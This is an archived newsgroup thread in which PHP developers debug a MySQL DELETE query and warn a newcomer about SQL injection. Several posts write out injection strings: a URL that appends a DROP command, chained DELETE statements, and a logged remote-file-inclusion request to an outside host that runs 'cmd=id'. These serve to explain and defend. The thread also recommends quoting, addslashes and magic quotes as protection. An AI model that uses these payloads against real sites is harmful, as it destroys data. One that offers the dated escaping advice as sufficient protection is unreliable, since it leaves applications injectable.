Delete row from mysql only deletes the contents?

[de Beers]

mysql_query("DE LETE FROM cart WHERE ItemId=$ItemId" );

There is the code but the result in my databse is that the ID number changes
from, lets say, 77 to 78 with 78's contents being empty. Therefore when I
look at the results - the deleted ID77 is gone but now I have ID78 with no
content!

Does anyone know why and how do I make it stop?

MIchael

[J.O. Aho]

Re: Delete row from mysql only deletes the contents?

de Beers wrote:[color=blue]
> mysql_query("DE LETE FROM cart WHERE ItemId=$ItemId" );
>
> There is the code but the result in my databse is that the ID number changes
> from, lets say, 77 to 78 with 78's contents being empty. Therefore when I
> look at the results - the deleted ID77 is gone but now I have ID78 with no
> content!
>
> Does anyone know why and how do I make it stop?[/color]

Your SQL query don't create a new empty row, you may have a bad if-statement
that makes your INSERT query to be run while you are deleting.

//Aho

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"de Beers" <fdgdf@yahoo.ca > wrote in message
news:T4aWc.7150 $_H5.94122@news 20.bellglobal.c om...[color=blue]
> mysql_query("DE LETE FROM cart WHERE ItemId=$ItemId" );[/color]

Gah!!!

Always use the mysql connection id, and ALWAYS test database (and all other
IO) operations for errors!

$result = mysql_query("DE LETE FROM cart WHERE ItemId='$ItemId '" , $conn);
if(! $result || mysql_error())
{
echo "Something went wrong with deleting this record: " .
mysql_error($co nn);
exit;
}

ALWAYS delimit items in a SQL system using '. Otherwise you may be
vulnerable to SQL injection

removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;
[color=blue]
> There is the code but the result in my databse is that the ID number[/color]
changes[color=blue]
> from, lets say, 77 to 78 with 78's contents being empty. Therefore when I
> look at the results - the deleted ID77 is gone but now I have ID78 with no
> content![/color]

See Aho's comments

[Charles Crume]

Re: Delete row from mysql only deletes the contents?

Hi CJ;

I am pretty new to php and mysql.

"CJ Llewellyn" <satest@tmslife line.com> wrote in message
news:cgc900$cb$ 1@slavica.ukpos t.com...
[color=blue]
> ALWAYS delimit items in a SQL system using '. Otherwise you may be
> vulnerable to SQL injection
>
> removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;[/color]

Could you explain this in a little more detail please?

TIA.

Charles...


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.742 / Virus Database: 495 - Release Date: 8/19/04

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"Charles Crume" <cc@charlescrum esoftware.com> wrote in message
news:FaIWc.2254 38$fv.173522@fe 2.columbus.rr.c om...[color=blue]
> Hi CJ;
>
> I am pretty new to php and mysql.
>
> "CJ Llewellyn" <satest@tmslife line.com> wrote in message
> news:cgc900$cb$ 1@slavica.ukpos t.com...
>[color=green]
> > ALWAYS delimit items in a SQL system using '. Otherwise you may be
> > vulnerable to SQL injection
> >
> > removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;[/color]
>
> Could you explain this in a little more detail please?[/color]

You are passing raw data from the browser to your SQL statements. Supposing
I was a maladjusted twat, intent on make other people's lives miserable, I
could add SQL commands onto the end of a variable and effectively run my own
sql statements, such as a command to delete your cart database.

[Tim Tyler]

Re: Delete row from mysql only deletes the contents?

CJ Llewellyn <satest@tmslife line.com> wrote or quoted:
[color=blue]
> ALWAYS delimit items in a SQL system using '. Otherwise you may be
> vulnerable to SQL injection
>
> removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;[/color]

Also, make sure the string you are inserting does not itself contain
your delimiter ;-)
--
__________
|im |yler http://timtyler.org/ tim@tt1lock.org Remove lock to reply.

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"Tim Tyler" <tim@tt1lock.or g> wrote in message news:I2zwKA.5vt @bath.ac.uk...[color=blue]
> CJ Llewellyn <satest@tmslife line.com> wrote or quoted:
>[color=green]
> > ALWAYS delimit items in a SQL system using '. Otherwise you may be
> > vulnerable to SQL injection
> >
> > removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;[/color]
>
> Also, make sure the string you are inserting does not itself contain
> your delimiter ;-)[/color]

that's what magic quotes are for shirley? ;-)

[Ethan T]

Re: Delete row from mysql only deletes the contents?

CJ Llewellyn <satest@tmslife line.com> wrote:[color=blue]
> that's what magic quotes are for shirley? ;-)[/color]

You're being a little presumptuous. The guy only showed you one line of code
and you're drilling him on the lines you assume are _not_ surrounding that
one line. Maybe he gets the ID from his own code and doesn't need the delim
for security. Maybe he already does error checking or doesn't care if the
statement fails. And besides, maybe he doesn't like magic quotes (like me)
because he doesn't like things to go on without explicitly telling them to.

I know you're being helpful, but I guess the main thing that bothers me is
the "Gah!!!" and the several capitalized "ALWAYS"s.

--
eth'nT

[Charles Crume]

Re: Delete row from mysql only deletes the contents?


"CJ Llewellyn" <satest@tmslife line.com> wrote in message
news:cgfq32$6kk $1@slavica.ukpo st.com...[color=blue]
> "Charles Crume" <cc@charlescrum esoftware.com> wrote in message
> news:FaIWc.2254 38$fv.173522@fe 2.columbus.rr.c om...[color=green]
> > Hi CJ;
> >
> > I am pretty new to php and mysql.
> >
> > "CJ Llewellyn" <satest@tmslife line.com> wrote in message
> > news:cgc900$cb$ 1@slavica.ukpos t.com...
> >[color=darkred]
> > > ALWAYS delimit items in a SQL system using '. Otherwise you may be
> > > vulnerable to SQL injection
> > >
> > > removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;[/color]
> >
> > Could you explain this in a little more detail please?[/color]
>
> You are passing raw data from the browser to your SQL statements.[/color]
Supposing[color=blue]
> I was a maladjusted twat, intent on make other people's lives miserable, I
> could add SQL commands onto the end of a variable and effectively run my[/color]
own[color=blue]
> sql statements, such as a command to delete your cart database.[/color]

I gathered this much. What I was looking for was a little detail/explanation
in how one would "add SQL commands" and how to prevent them from doing it.

And... just what are "magic quotes"?

Charles...


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.742 / Virus Database: 495 - Release Date: 8/19/04

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"Ethan T" <gtg782aNO@SPAM MINmail.gatech. edu> wrote in message
news:cgi8qi$fgs $1@ngspool-d02.news.aol.co m...[color=blue]
> CJ Llewellyn <satest@tmslife line.com> wrote:[color=green]
> > that's what magic quotes are for shirley? ;-)[/color]
>
> You're being a little presumptuous. The guy only showed you one line of[/color]
code[color=blue]
> and you're drilling him on the lines you assume are _not_ surrounding that
> one line.[/color]

Not assumptions, that was the code he was working with. Given the fact that
there are other potentially fatal flaws in his coding, and his own statement
that he is a newbie, I can safely deduce that is his own work.
[color=blue]
> Maybe he gets the ID from his own code and doesn't need the delim
> for security. Maybe he already does error checking or doesn't care if the
> statement fails.[/color]

Well he should be bothered about whether his statement fails, especially if
it leads to his whole database being dropped.

I've seen far too many tutorials skip over error checking. Which when
dealing with untrusted users is such a 'nightmarish' scenario, it needs very
firm underlining.
[color=blue]
> And besides, maybe he doesn't like magic quotes (like me)
> because he doesn't like things to go on without explicitly telling them[/color]
to.

He doesn't know what magic quotes are, so if nobody introduces him to them
he'll be non the wiser.
[color=blue]
> I know you're being helpful, but I guess the main thing that bothers me is
> the "Gah!!!" and the several capitalized "ALWAYS"s.[/color]

It may be dramatic, but so again is having to reinstall your server,
explaining to customers that you've lost their order and their credit card
details are now in the hands of criminals.

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"Charles Crume" <cc@charlescrum esoftware.com> wrote in message
news:GR1Xc.2278 53$fv.21132@fe2 .columbus.rr.co m...[color=blue]
>
> "CJ Llewellyn" <satest@tmslife line.com> wrote in message
> news:cgfq32$6kk $1@slavica.ukpo st.com...[color=green]
> > "Charles Crume" <cc@charlescrum esoftware.com> wrote in message
> > news:FaIWc.2254 38$fv.173522@fe 2.columbus.rr.c om...[color=darkred]
> > > Hi CJ;
> > >
> > > I am pretty new to php and mysql.
> > >
> > > "CJ Llewellyn" <satest@tmslife line.com> wrote in message
> > > news:cgc900$cb$ 1@slavica.ukpos t.com...
> > >
> > > > ALWAYS delimit items in a SQL system using '. Otherwise you may be
> > > > vulnerable to SQL injection
> > > >
> > > > removefromcart. php?PHPSESS=474 984743&id=78;DR OP%20cart;
> > >
> > > Could you explain this in a little more detail please?[/color]
> >
> > You are passing raw data from the browser to your SQL statements.[/color]
> Supposing[color=green]
> > I was a maladjusted twat, intent on make other people's lives miserable,[/color][/color]
I[color=blue][color=green]
> > could add SQL commands onto the end of a variable and effectively run my[/color]
> own[color=green]
> > sql statements, such as a command to delete your cart database.[/color]
>
> I gathered this much. What I was looking for was a little[/color]
detail/explanation[color=blue]
> in how one would "add SQL commands" and how to prevent them from doing it.[/color]

You sql statement using the get variable id as the record identifier. As
your sql statement doesn't delimit the variable id, if you add extra SQL
syntax (statements) to the id variable on the url. This will then be
processed along with your DELETE statement.

Assumung that your id is in fact a numeric value, then

$id = (int)$id;

works wonders.

You should also write sql statements with delimiters like

INSERT INTO foo (field1 , field2, field2) VALUES ('$field1' , '$field2',
'$field3')

DELETE FROM foo WHERE id = '$id'
[color=blue]
> And... just what are "magic quotes"?[/color]

magic quotes is a php feature that 'Escapes' places a \ before certain
characters in browser (user) supplied variables. i.e. \ and '

Most seasoned programmers like them turned off, as the programmer likes to
manually prepare any data heading towards the database, and you don't need
to strip the extra slashes from the data to process it.

You should check whether it is turned on at the start of any script

http://uk.php.net/manual/en/function.get-magic-quotes-gpc.php

And ensure your program can deal with the variables quoted or unquoted.

[Charles Crume]

Re: Delete row from mysql only deletes the contents?

Hi CJ;

Thanks for the reply and additional infomation.

[snip]
[color=blue]
> You sql statement using the get variable id as the record identifier. As
> your sql statement doesn't delimit the variable id, if you add extra SQL
> syntax (statements) to the id variable on the url. This will then be
> processed along with your DELETE statement.[/color]

Well, I guess I just don't have the mindset to try and screw stuff up,
therefore making it difficult to program defensively against it. I see where
$ItemId is not specifically delimited, so are you saying that one could
potentially do something like:

$ItemId = "'12'; DELETE FROM CART WHERE ItemId='3'; DELETE FROM cart WHERE
ItemId='44'"

or worse??

Just what kinds of "extra SQL syntax" could someone add? Just how bad could
it get (remember, I'm a newbie and still on the BIG learning curve)?

Are there other techniques to defend against such malevolent action by a
user??

[color=blue]
> Assumung that your id is in fact a numeric value, then
>
> $id = (int)$id;
>
> works wonders.[/color]

OK, I can see how this would drop any characters following the initial
numeric value of $id.

[color=blue]
> You should also write sql statements with delimiters like
>
> INSERT INTO foo (field1 , field2, field2) VALUES ('$field1' , '$field2',
> '$field3')
>
> DELETE FROM foo WHERE id = '$id'[/color]

OK, this is how I write my SQL statements... but one *has* to use
delimiters, don't they? I guess I don't understand what you are telling me
here. Am I overlooking something about the use of ' (single quotes) vs. "
(double quotes)?


[color=blue][color=green]
> > And... just what are "magic quotes"?[/color]
>
> magic quotes is a php feature that 'Escapes' places a \ before certain
> characters in browser (user) supplied variables. i.e. \ and '
>
> Most seasoned programmers like them turned off, as the programmer likes to
> manually prepare any data heading towards the database, and you don't need
> to strip the extra slashes from the data to process it.
>
> You should check whether it is turned on at the start of any script
>
> http://uk.php.net/manual/en/function...quotes-gpc.php[/color]

OK, I checked this out and the output from "phpinfo()" shows:

1) magic_quotes_gp c=ON
2) magic_quotes_ru ntime=OFF
3) magic_quotes_sy base=OFF.

The output lists both "local value" and "master value" columns, so I will
contact my ISP to see if these can be changed.

BTW, is there a list of suggested values for all of the directives listed by
"phpinfo()" ?


[color=blue]
> And ensure your program can deal with the variables quoted or unquoted.[/color]

Not exactly sure what you are telling me here. What is the difference
between a quoted vs. unquoted variable? Do you have a couple of short
examples? I would sure appreciate seeing an example or two.

TIA.

Charles...


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.742 / Virus Database: 495 - Release Date: 8/19/04

[CJ Llewellyn]

Re: Delete row from mysql only deletes the contents?

"Charles Crume" <cc@charlescrum esoftware.com> wrote in message
news:IQsXc.3854 7$cT6.24288@fe2 .columbus.rr.co m...[color=blue]
> Hi CJ;
>
> Thanks for the reply and additional infomation.
>
> [snip]
>[color=green]
> > You sql statement using the get variable id as the record identifier. As
> > your sql statement doesn't delimit the variable id, if you add extra SQL
> > syntax (statements) to the id variable on the url. This will then be
> > processed along with your DELETE statement.[/color]
>
> Well, I guess I just don't have the mindset to try and screw stuff up,
> therefore making it difficult to program defensively against it. I see[/color]
where[color=blue]
> $ItemId is not specifically delimited, so are you saying that one could
> potentially do something like:
>
> $ItemId = "'12'; DELETE FROM CART WHERE ItemId='3'; DELETE FROM cart WHERE
> ItemId='44'"
>
> or worse??[/color]

That is it in a nutshell. For example I'm used to seeing this sort of stuff
in my web logs quite often. This is an attempt to use my site as a web
proxy.

201.9.9.140 - - [01/Aug/2004:10:33:55 +0100] "GET
/index.php?page= http://dorohoy.org/lila.jpg?&cmd=i d HTTP/1.0" 200 11740

Needless to say it won't work in a month of Sundays, but script kiddies are
very persistant.
[color=blue]
> Just what kinds of "extra SQL syntax" could someone add? Just how bad[/color]
could[color=blue]
> it get (remember, I'm a newbie and still on the BIG learning curve)?[/color]

If they know your host's naming convention for databases then they could
delete the whole database.

SQL injections have been used in the past to create a suid shell (command
prompt, running with higher permissions than it should do).

They could deface your web site, or steal your passwords.
[color=blue]
> Are there other techniques to defend against such malevolent action by a
> user??[/color]

ensure fields are delimited, and that you have escaped any user supplied
data first.
[color=blue][color=green]
> > Assumung that your id is in fact a numeric value, then
> >
> > $id = (int)$id;
> >
> > works wonders.[/color]
>
> OK, I can see how this would drop any characters following the initial
> numeric value of $id.
>
>[color=green]
> > You should also write sql statements with delimiters like
> >
> > INSERT INTO foo (field1 , field2, field2) VALUES ('$field1' , '$field2',
> > '$field3')
> >
> > DELETE FROM foo WHERE id = '$id'[/color]
>
> OK, this is how I write my SQL statements... but one *has* to use
> delimiters, don't they? I guess I don't understand what you are telling me
> here. Am I overlooking something about the use of ' (single quotes) vs. "
> (double quotes)?[/color]


MySql & PostgreSql use single quotes as delimiters, MS Sql and Access use
double quotes.
[color=blue][color=green][color=darkred]
> > > And... just what are "magic quotes"?[/color]
> >
> > magic quotes is a php feature that 'Escapes' places a \ before certain
> > characters in browser (user) supplied variables. i.e. \ and '
> >
> > Most seasoned programmers like them turned off, as the programmer likes[/color][/color]
to[color=blue][color=green]
> > manually prepare any data heading towards the database, and you don't[/color][/color]
need[color=blue][color=green]
> > to strip the extra slashes from the data to process it.
> >
> > You should check whether it is turned on at the start of any script
> >
> > http://uk.php.net/manual/en/function...quotes-gpc.php[/color]
>
> OK, I checked this out and the output from "phpinfo()" shows:
>
> 1) magic_quotes_gp c=ON
> 2) magic_quotes_ru ntime=OFF
> 3) magic_quotes_sy base=OFF.
>
> The output lists both "local value" and "master value" columns, so I will
> contact my ISP to see if these can be changed.
>
> BTW, is there a list of suggested values for all of the directives listed[/color]
by[color=blue]
> "phpinfo()" ?
>
>
>[color=green]
> > And ensure your program can deal with the variables quoted or unquoted.[/color]
>
> Not exactly sure what you are telling me here. What is the difference
> between a quoted vs. unquoted variable? Do you have a couple of short
> examples? I would sure appreciate seeing an example or two.[/color]

From the link above, this checks to see if php has automatically added
slashes, if not it'll add them:-

<?php
echo get_magic_quote s_gpc(); // 1
echo $_POST['lastname']; // O\'reilly
echo addslashes($_PO ST['lastname']); // O\\\'reilly

if (!get_magic_quo tes_gpc()) {
$lastname = addslashes($_PO ST['lastname']);
} else {
$lastname = $_POST['lastname'];
}

echo $lastname; // O\'reilly
$sql = "INSERT INTO lastnames (lastname) VALUES ('$lastname')";
?>

[de Beers]

Re: Delete row from mysql only deletes the contents?

Okay I am a newbie but here is the rest of the code.

- The id is sent from a checked box on their cart, the submit button is sent
to delete.php which has the script:

{
mysql_query("DE LETE FROM cart WHERE ItemId=$ItemId" );
echo "Thank you! Information updated.";
echo mysql_error();
echo mysql_errno();
}



But I get no error. So please help me if you can. By the way I have an
include. that connects to the database.



As for the shouting- I don't mind - it makes me reluctant to ask for help
sometimes. ssoo - am I (a) vulnerable to a twat (b) and are my two echo's
enough of an error check.



But most importantly -!! Why does it not work? Someone mentioned an if
statement - in this case I don't use one - should I?



Anyway thanks for the help you can offer.


"CJ Llewellyn" <satest@tmslife line.com> wrote in message
news:cgj58p$odk $1@slavica.ukpo st.com...[color=blue]
> "Ethan T" <gtg782aNO@SPAM MINmail.gatech. edu> wrote in message
> news:cgi8qi$fgs $1@ngspool-d02.news.aol.co m...[color=green]
> > CJ Llewellyn <satest@tmslife line.com> wrote:[color=darkred]
> > > that's what magic quotes are for shirley? ;-)[/color]
> >
> > You're being a little presumptuous. The guy only showed you one line of[/color]
> code[color=green]
> > and you're drilling him on the lines you assume are _not_ surrounding[/color][/color]
that[color=blue][color=green]
> > one line.[/color]
>
> Not assumptions, that was the code he was working with. Given the fact[/color]
that[color=blue]
> there are other potentially fatal flaws in his coding, and his own[/color]
statement[color=blue]
> that he is a newbie, I can safely deduce that is his own work.
>[color=green]
> > Maybe he gets the ID from his own code and doesn't need the delim
> > for security. Maybe he already does error checking or doesn't care if[/color][/color]
the[color=blue][color=green]
> > statement fails.[/color]
>
> Well he should be bothered about whether his statement fails, especially[/color]
if[color=blue]
> it leads to his whole database being dropped.
>
> I've seen far too many tutorials skip over error checking. Which when
> dealing with untrusted users is such a 'nightmarish' scenario, it needs[/color]
very[color=blue]
> firm underlining.
>[color=green]
> > And besides, maybe he doesn't like magic quotes (like me)
> > because he doesn't like things to go on without explicitly telling them[/color]
> to.
>
> He doesn't know what magic quotes are, so if nobody introduces him to them
> he'll be non the wiser.
>[color=green]
> > I know you're being helpful, but I guess the main thing that bothers me[/color][/color]
is[color=blue][color=green]
> > the "Gah!!!" and the several capitalized "ALWAYS"s.[/color]
>
> It may be dramatic, but so again is having to reinstall your server,
> explaining to customers that you've lost their order and their credit card
> details are now in the hands of criminals.
>
>
>[/color]

[Ethan T]

Re: Delete row from mysql only deletes the contents?

de Beers <fdgdf@yahoo.ca > wrote:[color=blue]
> - The id is sent from a checked box on their cart, the submit button
> is sent to delete.php which has the script:
> But I get no error. So please help me if you can. By the way I have
> an include. that connects to the database.[/color]

Like someone else said, it looks like your script is doing a new INSERT
somewhere else in the code. Write a very simple script that has nothing else
in it but:

[mysql_connect.. .select db, etc.]
$ItemId = 555; // replace with a real, valid ID
mysql_query("DE LETE FROM cart WHERE ItemId=$ItemId" );
echo "Thank you! Information updated.";
echo mysql_error();
echo mysql_errno();

Just that code exactly, and see what the result is. If there's no problem
(it deletes properly and recreates nothing), you've probably got a problem
somewhere else. For debugging, I like to store my SQL statements in
variables and echo them anytime they're called for real. That way you see
exactly what's sent to MySQL.

--
eth'nT